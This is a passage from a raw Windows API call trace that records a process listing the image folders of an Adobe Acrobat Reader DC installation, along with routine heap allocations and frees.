nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0245.780] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.780] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0245.780] GetProcessHeap () returned 0xc10000 [0245.780] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0245.781] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win-scrollbar\\themes\\dark\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0245.783] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.783] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x129, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-down.png", cAlternateFileName="ARROW-~3.PNG")) returned 1 [0245.784] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x129, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-left.png", cAlternateFileName="ARROW-~2.PNG")) returned 1 [0245.784] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x12a, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-right.png", cAlternateFileName="ARROW-~1.PNG")) returned 1 [0245.784] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x128, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-up.png", cAlternateFileName="")) returned 1 [0245.784] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x107, dwReserved0=0x0, dwReserved1=0x0, cFileName="hscroll-thumb.png", cAlternateFileName="HSCROL~1.PNG")) returned 1 [0245.784] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x114, dwReserved0=0x0, dwReserved1=0x0, cFileName="vscroll-thumb.png", cAlternateFileName="VSCROL~1.PNG")) returned 1 [0245.784] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x114, dwReserved0=0x0, dwReserved1=0x0, cFileName="vscroll-thumb.png", cAlternateFileName="VSCROL~1.PNG")) returned 0 [0245.784] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0245.785] GetProcessHeap () returned 0xc10000 [0245.785] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0245.785] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0245.785] FindClose (in: hFindFile=0x33e4e68 | out: hFindFile=0x33e4e68) returned 1 [0245.785] GetProcessHeap () returned 0xc10000 [0245.785] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0245.785] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x114, dwReserved0=0x0, dwReserved1=0x0, cFileName="vscroll-thumb.png", cAlternateFileName="VSCROL~1.PNG")) returned 1 [0245.786] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x114, dwReserved0=0x0, dwReserved1=0x0, cFileName="vscroll-thumb.png", cAlternateFileName="VSCROL~1.PNG")) returned 0 [0245.786] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0245.786] GetProcessHeap () returned 0xc10000 [0245.786] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0245.787] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win8-scrollbar", cAlternateFileName="WIN8-S~1")) returned 1 [0245.787] GetProcessHeap () returned 0xc10000 [0245.787] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0245.788] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0245.791] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.791] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-down-pressed.gif", cAlternateFileName="ARFA56~1.GIF")) returned 1 [0245.791] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x42, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-down.gif", cAlternateFileName="ARROW-~4.GIF")) returned 1 [0245.791] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-left-pressed.gif", cAlternateFileName="AR60F1~1.GIF")) returned 1 [0245.791] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-left.gif", cAlternateFileName="AR9564~1.GIF")) returned 1 [0245.791] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-right-pressed.gif", cAlternateFileName="ARROW-~3.GIF")) returned 1 [0245.792] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x40, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-right.gif", cAlternateFileName="ARROW-~2.GIF")) returned 1 [0245.792] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-up-pressed.gif", cAlternateFileName="ARROW-~1.GIF")) returned 1 [0245.792] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-up.gif", cAlternateFileName="")) returned 1 [0245.792] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0245.792] GetProcessHeap () returned 0xc10000 [0245.792] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0245.792] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0245.793] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.793] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0245.793] GetProcessHeap () returned 0xc10000 [0245.793] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0245.793] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0245.796] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.796] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-down-pressed.gif", cAlternateFileName="ARFA56~1.GIF")) returned 1 [0246.018] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x42, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-down.gif", cAlternateFileName="ARROW-~4.GIF")) returned 1 [0246.018] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-left-pressed.gif", cAlternateFileName="AR60F1~1.GIF")) returned 1 [0246.018] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-left.gif", cAlternateFileName="AR9564~1.GIF")) returned 1 [0246.018] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-right-pressed.gif", cAlternateFileName="ARROW-~3.GIF")) returned 1 [0246.018] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x40, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-right.gif", cAlternateFileName="ARROW-~2.GIF")) returned 1 [0246.018] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-up-pressed.gif", cAlternateFileName="ARROW-~1.GIF")) returned 1 [0246.019] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-up.gif", cAlternateFileName="")) returned 1 [0246.019] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-up.gif", cAlternateFileName="")) returned 0 [0246.019] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0246.020] GetProcessHeap () returned 0xc10000 [0246.020] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.020] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0246.020] FindClose (in: hFindFile=0x33e4e68 | out: hFindFile=0x33e4e68) returned 1 [0246.021] GetProcessHeap () returned 0xc10000 [0246.021] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0246.021] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, 